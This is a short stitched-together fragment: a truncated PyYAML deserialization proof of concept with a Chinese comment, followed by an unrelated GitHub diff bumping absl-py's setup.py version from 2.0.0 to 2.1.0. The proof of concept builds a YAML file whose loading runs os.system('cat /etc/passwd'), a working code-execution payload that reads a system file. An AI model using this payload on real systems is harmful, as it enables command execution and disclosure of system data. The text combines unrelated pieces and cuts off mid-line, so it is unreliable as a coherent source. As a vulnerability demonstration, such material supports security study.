# 创建my_test_yaml.py import yaml import os class Poc(object): def __init__(self): os.system("cat /etc/passwd") dangerous_input = yaml.dump(Poc()) dangerous_input = dangerous_input.replace("__main__", "my_test_yaml") fp = open("./test.yaml", 'w') fp.write(dangerous_input...
2 changes: 1 addition & 1 deletion 2 setup.py Original file line numberDiff line numberDiff line change @@ -45,7 +45,7 @@ setuptools.setup( name='absl-py', version='2.0.0', version='2.1.0', description=( 'Abseil Python Common Libraries, ' 'see https://github.com/abseil/abseil...